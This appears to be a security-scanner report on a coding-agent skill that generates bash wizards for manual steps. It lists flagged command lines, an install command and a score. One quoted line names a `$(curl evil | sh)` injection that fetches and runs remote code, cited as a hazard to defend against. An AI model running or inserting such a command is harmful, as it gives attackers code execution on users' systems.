human-step-wizard

69 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By borghei/Claude-Skills (GitHub) · coding · 1,086 stars · scanned at commit 25bf86b

Generate an interactive, resumable bash wizard that walks a person through steps only a human can do. Use when a task needs dashboard credentials, DNS or change approval, key rotation, or a manual traffic cutover.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 8 places.

engineering/human-step-wizard/SKILL.md, line 72python3 engineering/human-step-wizard/scripts/wizard_spec_validate.py \
engineering/human-step-wizard/SKILL.md, line 121python3 engineering/human-step-wizard/scripts/wizard_spec_validate.py \
engineering/human-step-wizard/SKILL.md, line 142printf '%s\n' 'first-answer' 'abc' 'step-id' '' | \

Show 5 more

engineering/human-step-wizard/SKILL.md, line 149python3 engineering/human-step-wizard/scripts/wizard_spec_validate.py \
engineering/human-step-wizard/assets/wizard_runtime.sh, line 124if bash -c "$cmd" >/dev/null 2>&1; then
engineering/human-step-wizard/references/bash-wizard-safety.md, line 13| Spec check commands | Author-controlled code | Passed as one literal to `bash -c` | Runs exactly as written; reviewed like any script |
engineering/human-step-wizard/references/bash-wizard-safety.md, line 33Checks run inside `if bash -c ...`, so a failing check is handled by the
engineering/human-step-wizard/scripts/wizard_generate.py, line 116res = subprocess.run([bash, "-n", str(path)], capture_output=True, text=True, timeout=20)

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 1 place.

engineering/human-step-wizard/SKILL.md, line 218**Mistake:** Hand-editing the generated script to `source .env` or `eval` a captured value.

Sends data to these websites: api.example.com, api.example, host

This is disclosed by the author in the skill's SKILL.md or README.

Found in 4 places.

engineering/human-step-wizard/assets/sample_wizard_spec.json, line 85"command": "curl -fsS --max-time 10 --resolve \"api.example.com:443:${NEW_LB_IP}\" https://api.example.com/healthz"
engineering/human-step-wizard/assets/sample_wizard_spec.json, line 107"command": "curl -fsS --max-time 10 https://api.example.com/healthz"
engineering/human-step-wizard/references/human-step-design.md, line 86| Token works | `curl -fsS -H "Authorization: Bearer $TOKEN" https://api.example/v1/whoami` |

Show 1 more

engineering/human-step-wizard/references/human-step-design.md, line 89| Service healthy behind new address | `curl -fsS --resolve "host:443:$NEW_IP" https://host/healthz` |

Downloads and installs other software

The author does not mention this.

Found in 1 place.

engineering/human-step-wizard/references/bash-wizard-safety.md, line 53pasted `$(curl evil | sh)`; `declare "$name=$value"` has edge cases with

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'human-step-wizard' ] || [ -L ~/.agents/skills/'human-step-wizard' ]; then echo 'A skill folder named human-step-wizard already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/borghei/Claude-Skills' "$d" && git -C "$d" checkout --quiet '25bf86b89c6c1e63f433a5b65e8cfcb6cf0b7ad3' -- 'engineering/human-step-wizard' && mkdir -p ~/.agents/skills && cp -R "$d"/'engineering/human-step-wizard' ~/.agents/skills/'human-step-wizard' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'human-step-wizard' ~/.claude/skills/'human-step-wizard' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for borghei/Claude-Skills shows the score of its lowest-scoring skill.

SkillTrust badge for borghei/Claude-Skills

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/borghei/Claude-Skills.svg)](https://zalavijaysinh.github.io/skilltrust/repos/borghei/Claude-Skills/)

Score history

Date	Version	Score
2026-11-10	`25bf86b`	69